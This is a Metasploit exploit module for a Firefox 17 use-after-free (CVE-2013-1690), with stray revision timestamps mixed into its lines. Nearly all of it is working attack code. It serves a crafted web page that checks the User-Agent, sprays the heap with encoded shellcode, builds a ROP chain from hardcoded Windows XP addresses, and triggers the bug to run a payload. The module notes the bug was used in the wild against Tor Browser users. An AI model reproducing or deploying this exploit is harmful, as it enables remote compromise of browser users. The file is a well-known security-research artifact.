2013-08-07 20:36:54 +00:00
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##
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2013-10-15 18:50:46 +00:00
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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2013-08-07 20:36:54 +00:00
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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2013-08-30 21:28:54 +00:00
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::RopDb
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Firefox onreadystatechange Event DocumentViewerImpl Use After Free',
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'Description' => %q{
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This module exploits a vulnerability found on Firefox 17.0.6, specifically an use
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after free of a DocumentViewerImpl object, triggered via an specially crafted web
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page using onreadystatechange events and the window.stop() API, as exploited in the
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wild on 2013 August to target Tor Browser users.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Nils', # vulnerability discovery
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'Unknown', # 1day exploit, prolly the FBI
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'w3bd3vil', # 1day analysis
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'sinn3r', # Metasploit module
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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[ 'CVE', '2013-1690' ],
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[ 'OSVDB', '94584'],
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[ 'BID', '60778'],
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[ 'URL', 'https://www.mozilla.org/security/announce/2013/mfsa2013-53.html' ],
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[ 'URL', 'https://lists.torproject.org/pipermail/tor-announce/2013-August/000089.html' ],
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[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=901365' ],
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[ 'URL', 'http://krash.in/ffn0day.txt' ],
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[ 'URL', 'http://hg.mozilla.org/releases/mozilla-esr17/rev/2d5a85d7d3ae' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Payload' =>
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{
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'BadChars' => "\x00",
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'DisableNops' => true
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Firefox 17 & Firefox 21 / Windows XP SP3',
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{
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'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory
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'RetGadget' => 0x77c3ee16, # ret from msvcrt
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'StackPivot' => 0x76C9B4C2, # xcht ecx,esp # or byte ptr[eax], al # add byte ptr [edi+5Eh], bl # ret 8 from IMAGEHLP
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'VFuncPtr' => 0x0c10100c # Fake Function Pointer to the Sprayed Memory
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}
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]
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],
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'DisclosureDate' => 'Jun 25 2013',
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'DefaultTarget' => 0))
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end
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def stack_pivot
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pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
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pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
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pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
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pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
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return pivot
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end
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def junk(n=4)
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return rand_text_alpha(n).unpack("V").first
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end
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def on_request_uri(cli, request)
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agent = request.headers['User-Agent']
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vprint_status("Agent: #{agent}")
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if agent !~ /Windows NT 5\.1/
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print_error("Windows XP not found, sending 404: #{agent}")
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send_not_found(cli)
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return
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end
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unless agent =~ /Firefox\/(17|21)/
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print_error("Browser not supported, sending 404: #{agent}")
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send_not_found(cli)
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return
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end
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my_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
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# build html
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code = [
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target['VFuncPtr'],
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target['RetGadget'],
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target['StackPivot'],
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junk
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].pack("V*")
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code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'})
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js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))
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js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch))
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content = <<-HTML
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<html>
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<body>
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<iframe src="#{my_uri}/iframe.html"></iframe>
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</body></html>
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HTML
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2013-08-07 20:36:54 +00:00
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2013-08-30 21:28:54 +00:00
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# build iframe
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iframe = <<-IFRAME
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2013-08-07 20:36:54 +00:00
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<script>
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var z="<body><img src='nonexistant.html' onerror=\\"\\" ></body>";
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var test = new Array();
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var heap_chunks;
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function heapSpray(shellcode, fillsled) {
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var chunk_size, headersize, fillsled_len, code;
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var i, codewithnum;
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chunk_size = 0x40000;
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headersize = 0x10;
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fillsled_len = chunk_size - (headersize + shellcode.length);
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while (fillsled.length <fillsled_len)
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fillsled += fillsled;
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fillsled = fillsled.substring(0, fillsled_len);
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code = shellcode + fillsled;
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heap_chunks = new Array();
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for (i = 0; i<1000; i++)
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{
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codewithnum = "HERE" + code;
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heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
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}
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2013-08-07 20:36:54 +00:00
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}
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function b() {
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for(var c=0;1024>c;c++) {
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test[c]=new ArrayBuffer(180);
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bufView = new Uint32Array(test[c]);
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for (var i=0; i < 45; i++) {
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bufView[i] = #{target['FakeObject']};
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}
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}
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}
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function a() {
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window.stop();
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var myshellcode = unescape("#{js_code}");
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var myfillsled = unescape("#{js_random}");
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heapSpray(myshellcode,myfillsled);
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b();
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window.parent.frames[0].frameElement.ownerDocument.write(z);
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}
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document.addEventListener("readystatechange",a,null);
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</script>
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2013-08-30 21:28:54 +00:00
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IFRAME
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2013-08-07 20:36:54 +00:00
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2013-08-30 21:28:54 +00:00
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print_status("URI #{request.uri} requested...")
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2013-08-07 20:36:54 +00:00
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2013-08-30 21:28:54 +00:00
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if request.uri =~ /iframe\.html/
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print_status("Sending iframe HTML")
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send_response(cli, iframe, {'Content-Type'=>'text/html'})
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return
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end
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2013-08-07 20:36:54 +00:00
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2013-08-30 21:28:54 +00:00
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print_status("Sending HTML")
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send_response(cli, content, {'Content-Type'=>'text/html'})
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2013-08-30 21:28:54 +00:00
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end
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2013-08-07 20:36:54 +00:00
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end
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